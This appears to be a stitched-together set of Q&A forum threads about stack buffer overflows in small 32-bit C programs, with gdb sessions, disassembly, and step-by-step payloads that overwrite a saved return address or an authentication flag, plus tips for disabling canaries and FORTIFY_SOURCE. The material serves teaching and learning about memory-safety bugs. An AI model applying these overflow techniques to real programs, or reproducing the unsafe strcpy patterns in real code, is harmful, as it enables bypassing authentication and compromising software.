0x0804849f <+43>: mov $0x4,%ecx
0x080484a4 <+48>: mov %edx,%esi
0x080484a6 <+50>: mov %eax,%edi
0x080484a8 <+52>: repz cmpsb %es:(%edi),%ds:(%esi)
0x080484aa <+54>: seta %dl
0x080484ad <+57>: setb %al
0x080484b0 <+60>: mov %edx,%ecx
0x080484b2 <+62>: sub %al,%cl
0x080484b4 <+64>: mov %ecx,%eax
0x080484b6 <+66>: movsbl %al,%eax
0x080484b9 <+69>: test %eax,%eax
0x080484bb <+71>: jne 0x80484c4 <check_auth1+80>
0x080484bd <+73>: movl $0x1,-0xc(%ebp)
0x080484c4 <+80>: mov -0xc(%ebp),%eax
0x080484c7 <+83>: add $0x20,%esp
0x080484ca <+86>: pop %esi
0x080484cb <+87>: pop %edi
0x080484cc <+88>: pop %ebp
0x080484cd <+89>: ret
This is quite easy to exploit, here is the way to walk through.
First compile it with -g, it makes it easier to understand what you are doing. Then, our goal will be to rewrite the saved eip of check_auth1() and move it to the else-part of the test in the main() function.
$> gcc -m32 -g -o vuln vuln.c
$> gdb ./vuln
...
(gdb) break check_auth1
Breakpoint 1 at 0x80484c3: file vulne.c, line 9.
(gdb) run `python -c 'print("A"*28)'`
Starting program: ./vulne `python -c 'print("A"*28)'`
Breakpoint 1,check_auth1 (password=0xffffd55d 'A' <repeats 28 times>) at vuln.c:9
9 int auth_flag = 0;
(gdb) info frame
Stack level 0, frame at 0xffffd2f0:
eip = 0x80484c3 in check_auth1 (vuln.c:9); saved eip 0x804853f
called by frame at 0xffffd320
source language c.
Arglist at 0xffffd2e8, args: password=0xffffd55d 'A' <repeats 28 times>
Locals at 0xffffd2e8, Previous frame's sp is 0xffffd2f0
Saved registers:
ebp at 0xffffd2e8, eip at 0xffffd2ec
We stopped at check_auth1() and displayed the stack frame. We saw that the saved eip is stored in the stack at 0xffffd2ec and contains 0x804853f.
Let see to what it does lead:
(gdb) disassemble main
Dump of assembler code for function main:
0x080484ff <+0>: push %ebp
0x08048500 <+1>: mov %esp,%ebp
0x08048502 <+3>: and $0xfffffff0,%esp
0x08048505 <+6>: sub $0x20,%esp
0x08048508 <+9>: cmpl $0x1,0x8(%ebp)
0x0804850c <+13>: jg 0x804852f <main+48>
0x0804850e <+15>: mov 0xc(%ebp),%eax
0x08048511 <+18>: mov (%eax),%eax
0x08048513 <+20>: mov %eax,0x4(%esp)
0x08048517 <+24>: movl $0x8048604,(%esp)
0x0804851e <+31>: call 0x8048360 <printf#plt>
0x08048523 <+36>: movl $0x0,(%esp)
0x0804852a <+43>: call 0x80483a0 <exit#plt>
0x0804852f <+48>: mov 0xc(%ebp),%eax
0x08048532 <+51>: add $0x4,%eax
0x08048535 <+54>: mov (%eax),%eax
0x08048537 <+56>: mov %eax,(%esp)
0x0804853a <+59>: call 0x80484bd <check_auth1>
0x0804853f <+64>: mov %eax,0x1c(%esp) <-- We jump here when returning
0x08048543 <+68>: cmpl $0x1,0x1c(%esp)
0x08048548 <+73>: je 0x8048558 <main+89>
0x0804854a <+75>: movl $0x804861a,(%esp)
0x08048551 <+82>: call 0x8048380 <puts#plt>
0x08048556 <+87>: jmp 0x8048564 <main+101>
0x08048558 <+89>: movl $0x8048627,(%esp) <-- We want to jump here
0x0804855f <+96>: call 0x8048380 <puts#plt>
0x08048564 <+101>: mov $0x0,%eax
0x08048569 <+106>: leave
0x0804856a <+107>: ret
End of assembler dump.
But the truth is that we want to avoid to go through the cmpl $0x1,0x1c(%esp) and go directly to the else-part of the test. Meaning that we want to jump to 0x08048558.
Anyway, lets first try to see if our 28 'A' are enough to rewrite the saved eip.
(gdb) next
10 strcpy(password_buffer, password);
(gdb) next
11 if (strcmp(password_buffer, "cup") == 0) {
Here, the strcpy did the overflow, so lets look at the stack-frame:
(gdb) info frame
Stack level 0, frame at 0xffffd2f0:
eip = 0x80484dc in check_auth1 (vulnerable.c:11); saved eip 0x41414141
called by frame at 0xffffd2f4
source language c.
Arglist at 0xffffd2e8, args: password=0xffffd55d 'A' <repeats 28 times>
Locals at 0xffffd2e8, Previous frame's sp is 0xffffd2f0
Saved registers:
ebp at 0xffffd2e8, eip at 0xffffd2ec
Indeed, we rewrote the saved eip with 'A' (0x41 is the hexadecimal code for A). And, in fact, 28 is exactly what we need, not more. If we replace the four last bytes by the target address it will be okay.
One thing is that you need to reorder the bytes to take the little-endianess into account. So, 0x08048558 will become \x58\x85\x04\x08.
Finally, you will also need to write some meaningful address for the saved ebp value (not AAAA), so my trick is just to double the last address like this:
$> ./vuln `python -c 'print("A"*20 + "\x58\x85\x04\x08\x58\x85\x04\x08")'`
Note that there is no need to disable the ASLR, because you are jumping in the .text section (and this section do no move under the ASLR). But, you definitely need to disable canaries.
EDIT: I was wrong about replacing the saved ebp by our saved eip. In fact, if you do not give the right ebp you will hit a segfault when attempting to exit from main. This is because, we did set the saved ebp to somewhere in the .text section and, even if there is no problem when returning from check_auth1, the stack frame will be restored improperly when returning in the main function (the system will believe that the stack is located in the code). The result will be that the 4 bytes above the address pointed by the saved ebp we wrote (and pointing to the instructions) will be mistaken with the saved eip of main. So, either you disable the ASLR and write the correct address of the saved ebp (0xffffd330) which will lead to
$> ./vuln `python -c 'print("A"*20 + "\xff\xff\xd3\x30\x58\x85\x04\x08")'`
Or, you need to perform a ROP that will perform a clean exit(0) (which is usually quite easy to achieve).
you're checking against 1 exactly; change it to (the much more normal style for c programming)
if (! authenticated) {
and you'll see that it is working (or run it in gdb, or print out the flag value, and you'll see that the flag is being overwritten nicely, it's just not 1).
remember that an int is made of multiple chars. so setting a value of exactly 1 is hard, because many of those chars need to be zero (which is the string terminator). instead you are getting a value like 13363 (for the password 12345678901234).
[huh; valgrind doesn't complain even with the overflow.]
UPDATE
ok, here's how to do it with the code you have. we need a string with 13 characters, where the final character is ASCII 1. in bash:
> echo -n "123456789012" > foo
> echo $'\001' >> foo
> ./a.out `cat foo`
Allowed.
where i am using
if (authenticated != 1) {
printf("NOT Allowed.\n");
} else {
printf("Allowed.\n");
}
also, i am relying on the compiler setting some unused bytes to zero (little endian; 13th byte is 1 14-16th are 0). it works with gcc bo.c but not with gcc -O3 bo.c.
the other answer here gets around this by walking on to the next place that can be overwritten usefully (i assumed you were targeting the auth_flag variable since you placed it directly after the password).
strcpy(password_buffer, password);
One of the things you will need to address during testing is this function call. If the program seg faults, then it could be because of FORTIFY_SOURCE. I'd like to say "crashes unexpectedly", but I don't think that applies here ;)
FORTIFY_SOURCE uses "safer" variants of high risk functions like memcpy and strcpy. The compiler uses the safer variants when it can deduce the destination buffer size. If the copy would exceed the destination buffer size, then the program calls abort().
To disable FORTIFY_SOURCE for your testing, you should compile the program with -U_FORTIFY_SOURCE or -D_FORTIFY_SOURCE=0.
I have the output here when I disas in GDB the function that pertains to comparing the program input to a 'passphrase'. I know the real 'passphrase' is in $eax, but when I try to examine $eax, I get the error that the address is out of bounds. What can I do to examine $eax?
Dump of assembler code for function s:
0x08048444 <+0>: push %ebp
0x08048445 <+1>: mov %esp,%ebp
0x08048447 <+3>: mov 0x8(%ebp),%edx
0x0804844a <+6>: mov $0x0,%eax
0x0804844f <+11>: cmpb $0x0,(%edx)
0x08048452 <+14>: je 0x804845d <s+25>
0x08048454 <+16>: add $0x1,%eax
=> 0x08048457 <+19>: cmpb $0x0,(%edx,%eax,1)
0x0804845b <+23>: jne 0x8048454 <s+16>
0x0804845d <+25>: pop %ebp
0x0804845e <+26>: ret
cmpb $0x0,(%edx,%eax,1)
Means "compare 0 to the byte at edx + eax * 1".
You need to look at edx (p/x $edx) and eax (p/x $eax) to see what byte you're addressing.
The passphrase is in EDX instead of EAX. So you'd want to run
(gdb) p (char*)$edx
to see the content of the null terminated string.
You can tell that you want EDX because the code moves the first argument of the function into it:
0x08048447 <+3>: mov 0x8(%ebp),%edx
and because EAX is used as an index. It was first set to 0, then incremented by 1 in a loop:
0x0804844a <+6>: mov $0x0,%eax
<...>
0x08048454 <+16>: add $0x1,%eax
0x08048457 <+19>: cmpb $0x0,(%edx,%eax,1)
0x0804845b <+23>: jne 0x8048454 <s+16>
Note how after comparing (%edx,%eax,1) to 0 the code jumps back to increment EAX.
I have been trying to skip an instruction by changing the return address through stack smashing. The following code skips a++ in main and prints an output of "1 3". I have executed this code on a 32-bit intel machine.
#include<stdio.h>
void fun(int a,int b) {
// buffer
char buf[8];
char *p;
p = (char *)buf+24;
*p=*p+5;
return;
}
int main() {
int a=1,b=2;
fun(a,b);
a++;
b++;
printf("%d %d",a,b);
}
I am unable to understand why return address is stored at a displacement of 24 bytes from starting address of buf. I have tried executing the same code on a different 32-bit intel machine and I had to use a displacement of 20 bytes instead of 24 bytes. I have put my understanding in the following figure. I am not sure about what fills the gap represented by "?" in the figure. Does gcc put any canary value there or am I missing something ?
Link to figure: http://www.cse.iitb.ac.in/~shashankr/stack.png
Smashing the stack example3.c confusion asked the same question but could not explain the reason for displacement in general.
The following figure gives a view of the stack obtained by placing a breakpoint in function.
(source: shashankr at www.cse.iitb.ac.in)
The following is the assembly code for main and fun:
Dump of assembler (fun):
0x08048434 <+0>: push %ebp
0x08048435 <+1>: mov %esp,%ebp
0x08048437 <+3>: sub $0x18,%esp
0x0804843a <+6>: mov %gs:0x14,%eax
0x08048440 <+12>: mov %eax,-0xc(%ebp)
0x08048443 <+15>: xor %eax,%eax
0x08048445 <+17>: lea -0x14(%ebp),%eax
0x08048448 <+20>: add $0x18,%eax
0x0804844b <+23>: mov %eax,-0x18(%ebp)
0x0804844e <+26>: mov -0x18(%ebp),%eax
0x08048451 <+29>: movzbl (%eax),%eax
0x08048454 <+32>: add $0x5,%eax
0x08048457 <+35>: mov %eax,%edx
0x08048459 <+37>: mov -0x18(%ebp),%eax
0x0804845c <+40>: mov %dl,(%eax)
0x0804845e <+42>: mov -0xc(%ebp),%eax
0x08048461 <+45>: xor %gs:0x14,%eax
0x08048468 <+52>: je 0x804846f <fun+59>
0x0804846a <+54>: call 0x8048350 <__stack_chk_fail#plt>
0x0804846f <+59>: leave
0x08048470 <+60>: ret
Dump of assembler (main)
0x08048471 <+0>: push %ebp
0x08048472 <+1>: mov %esp,%ebp
0x08048474 <+3>: and $0xfffffff0,%esp
0x08048477 <+6>: sub $0x20,%esp
0x0804847a <+9>: movl $0x1,0x18(%esp)
0x08048482 <+17>: movl $0x2,0x1c(%esp)
0x0804848a <+25>: mov 0x1c(%esp),%eax
0x0804848e <+29>: mov %eax,0x4(%esp)
0x08048492 <+33>: mov 0x18(%esp),%eax
0x08048496 <+37>: mov %eax,(%esp)
0x08048499 <+40>: call 0x8048434 <fun>
0x0804849e <+45>: addl $0x1,0x18(%esp)
0x080484a3 <+50>: addl $0x1,0x1c(%esp)
0x080484a8 <+55>: mov $0x80485a0,%eax
0x080484ad <+60>: mov 0x1c(%esp),%edx
0x080484b1 <+64>: mov %edx,0x8(%esp)
0x080484b5 <+68>: mov 0x18(%esp),%edx
0x080484b9 <+72>: mov %edx,0x4(%esp)
0x080484bd <+76>: mov %eax,(%esp)
0x080484c0 <+79>: call 0x8048340 <printf#plt>
0x080484c5 <+84>: leave
0x080484c6 <+85>: ret
I believe the answer is nothing. Are you having different gcc versions? Anyway a compiler is allowed to allocate a bit more stack than necessary. Perhaps it's the initial "guess" based on the number of variables, but which isn't reduced by optimization stages, which are allowed to move any variable to a register. Or it's some reservoir to save ecx,ebp or other registers in case the subroutine needs to.
There's anyway one fixed address variable to overcome the problem: a.
Return address = &a[-1].